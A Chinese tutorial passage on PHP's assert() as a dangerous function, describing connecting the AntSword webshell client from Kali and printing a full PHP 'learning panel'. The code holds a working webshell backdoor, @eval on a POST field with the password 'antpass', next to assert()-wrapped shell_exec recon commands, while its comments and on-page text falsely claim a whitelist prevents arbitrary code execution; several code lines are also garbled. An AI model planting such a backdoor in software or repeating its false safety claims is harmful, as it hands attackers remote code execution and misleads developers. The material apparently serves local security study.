php危险函数,二.assert()[现版本已弃用]

本实验全部在本地电脑实现,请遵守相关法律

1.打开kali安装对应工具(蚁剑)然后新建

添加路径(记得在代码里配置准许kali通过,然后准许蚁剑访问

打开本地服务器,准许蚁剑访问

然后连接(记得看好kali的ip)

先测试连接,然后左上角保存

看情况是否需要代理

配置本地代理

2.打开工具测试代码运行情况,截取流量

3.抓包分析

4.两种方式(分析流量)

1直接给ai快但是泄露

2.慢慢自己分析

右侧

总代码

<?php

// ===================================================

// 🛡️ 安全的本地学习面板(仅限 127.0.0.1)

// 功能:通过 POST 方法提交指令,返回执行结果(表格形式)

// 特性:使用 assert() 模拟(仅用于演示),实际执行仍通过白名单控制

// 此代码实际运行代码shell_exec()!!!

// 目的:学习 POST 数据处理、表格输出、中文注释

// ⚠️ 仅限本地练习,禁止外网部署!

// ===================================================

// ✅ 1. 只允许本地访问

$allowed_ips = ['127.0.0.1', '192.168.1.7','192.168.1.5']; // 添加 Kali 的 IP

if (!in_array(_SERVER\['REMOTE_ADDR'\], allowed_ips)) {

die("❌ 错误:你的 IP (" . $_SERVER['REMOTE_ADDR'] . ") 不被允许访问。");

}

// ✅ 2. 定义安全命令白名单(所有可执行的命令)

$command_map = [

// 🖥️ 系统信息

'whoami' => ['cmd' => 'whoami', 'desc' => '显示当前用户账户名'],

'hostname' => ['cmd' => 'hostname', 'desc' => '显示本机计算机名称'],

'systeminfo' => ['cmd' => 'systeminfo', 'desc' => '显示系统详细信息'],

'ver' => ['cmd' => 'ver', 'desc' => '显示 Windows 版本'],

'set' => ['cmd' => 'set', 'desc' => '显示所有环境变量'],

'cpu' => ['cmd' => 'wmic cpu get name', 'desc' => '查看 CPU 型号'],

'memory' => ['cmd' => 'wmic memorychip get capacity', 'desc' => '查看内存容量'],

'disk' => ['cmd' => 'wmic diskdrive get model,size', 'desc' => '查看硬盘信息'],

'bios' => ['cmd' => 'wmic bios get serialnumber', 'desc' => '查看 BIOS 序列号'],

'model' => ['cmd' => 'wmic csproduct get name', 'desc' => '查看计算机型号'],

// 🌐 网络与端口

'ipconfig' => ['cmd' => 'ipconfig', 'desc' => '显示 IP 配置'],

'ip_all' => ['cmd' => 'ipconfig /all', 'desc' => '显示所有网络详情'],

'ping' => ['cmd' => 'ping www.baidu.com', 'desc' => '测试百度连通性'],

'netstat' => ['cmd' => 'netstat -an', 'desc' => '显示所有网络连接'],

'arp' => ['cmd' => 'arp -a', 'desc' => '显示 ARP 缓存表'],

// ⚙️ 进程与服务

'tasklist' => ['cmd' => 'tasklist', 'desc' => '列出所有运行进程'],

'services' => ['cmd' => 'net start', 'desc' => '显示已启动服务'],

];

// ✅ 3. 初始化结果数组

$result_data = [];

// ✅ 4. 检查是否为 POST 请求

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

// 🔥 新增:蚁剑连接入口(密码为 antpass)

if (isset($_POST['antpass'])) {

@eval($_POST['antpass']);

exit;

}

// 原有功能:安全命令执行

action = trim(_POST['action'] ?? '');

// 🔍 检查 action 是否在白名单中

if (!empty(action) \&\& isset(command_map[$action])) {

cmd_info = command_map[$action];

full_cmd = cmd_info['cmd'];

// 🧪 模拟使用 assert()(仅用于教学演示)

// ⚠️ 实际中绝不应这样用!这里只是为了满足你的"调用 assert"要求

// 真正执行仍使用 shell_exec(安全方式)

code_to_assert = 'output = shell_exec("' . addslashes($full_cmd) . '");';

assert($code_to_assert); // 🔴 仅用于演示,生产环境绝对禁止!

// ✅ 安全执行命令(这才是实际执行方式)

output = shell_exec(full_cmd);

// 📊 收集结果用于表格显示

result_data\[\] = \['操作', action];

result_data\[\] = \['命令', full_cmd];

result_data\[\] = \['描述', cmd_info['desc']];

$result_data[] = [

'输出',

'<pre style="background:#f4f4f4; padding:10px; border-radius:5px; max-height:300px; overflow-y:auto;">' .

htmlspecialchars($output) .

'</pre>'

];

} else {

result_data\[\] = \['错误', '无效或不支持的操作:' . htmlspecialchars(action)];

}

}

?>

<!DOCTYPE html>

<html lang="zh-CN">

<head>

<meta charset="UTF-8">

<title>📌 POST + assert() 学习面板(安全版)</title>

<style>

body {

font-family: "Microsoft YaHei", Arial, sans-serif;

margin: 20px;

background: #f8f9fa;

color: #333;

}

.container {

max-width: 1000px;

margin: 0 auto;

background: white;

padding: 25px;

border-radius: 10px;

box-shadow: 0 4px 15px rgba(0,0,0,0.1);

}

h2 {

color: #2c3e50;

border-bottom: 3px solid #3498db;

padding-bottom: 10px;

}

.form-group {

margin: 15px 0;

}

label {

display: block;

margin-bottom: 5px;

font-weight: bold;

color: #555;

}

select, button {

padding: 10px;

font-size: 14px;

border: 1px solid #ccc;

border-radius: 5px;

}

select {

width: 300px;

}

button {

background: #e74c3c;

color: white;

border: none;

cursor: pointer;

margin-left: 10px;

}

button:hover {

background: #c0392b;

}

table {

width: 100%;

border-collapse: collapse;

margin-top: 20px;

box-shadow: 0 2px 8px rgba(0,0,0,0.05);

}

th, td {

border: 1px solid #ddd;

padding: 12px;

text-align: left;

}

th {

background-color: #3498db;

color: white;

width: 25%;

}

td {

background-color: #fcfdff;

}

pre {

margin: 0;

font-size: 14px;

}

.warning {

background: #f8d7da;

color: #721c24;

padding: 15px;

border: 1px solid #f5c6cb;

border-radius: 5px;

margin: 20px 0;

font-size: 14px;

}

.footer {

margin-top: 40px;

color: #666;

font-size: 12px;

text-align: center;

}

</style>

</head>

<body>

<div class="container">

<h2>📌 POST 方法 + assert() 模拟学习面板</h2>

<div class="warning">

⚠️ <strong>安全警告:</strong>此页面仅用于本地学习!虽然使用了 assert() 演示,但实际执行仍受白名单保护,防止任意代码执行。

</div>

<!-- 📥 POST 表单 -->

<form method="POST">

<div class="form-group">

<label for="action">请选择要执行的命令:</label>

<select name="action" id="action">

<option value="">-- 请选择一个操作 --</option>

<?php foreach (command_map as key => $info): ?>

<option value="<?= key ?\>"\>\key ?> - <?= $info['desc'] ?></option>

<?php endforeach; ?>

</select>

<button type="submit">▶️ 执行命令</button>

</div>

</form>

<!-- 📊 结果表格 -->

<?php if (!empty($result_data)): ?>

<h3>📋 执行结果</h3>

<table>

<thead>

<tr>

<th>项目</th>

<th>详情</th>

</tr>

</thead>

<tbody>

<?php foreach (result_data as row): ?>

<tr>

<td><strong><?= htmlspecialchars($row[0]) ?></strong></td>

<td><?= $row[1] ?></td>

</tr>

<?php endforeach; ?>

</tbody>

</table>

<?php endif; ?>

<!-- 📚 教学说明 -->

<div class="footer">

🔍 <strong>教学说明:</strong><br>

  1. 使用 <code>POST</code> 方法提交数据,更安全(不暴露在 URL)<br>

  2. <code>assert()</code> 仅用于演示语法,实际执行仍通过白名单 + <code>shell_exec()</code><br>

  3. 所有命令预先定义,防止任意代码执行(RCE)<br>

  4. 输出使用表格展示,清晰明了<br>

  5. 仅限本地练习,切勿外网部署!<br>

  6. 新增蚁剑连接功能,密码为:<strong>antpass</strong>

</div>

</div>

</body>

</html>

根据需求可选

相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
feifeigo1235 天前
matlab画图工具
开发语言·matlab
dustcell.5 天前
haproxy七层代理
java·开发语言·前端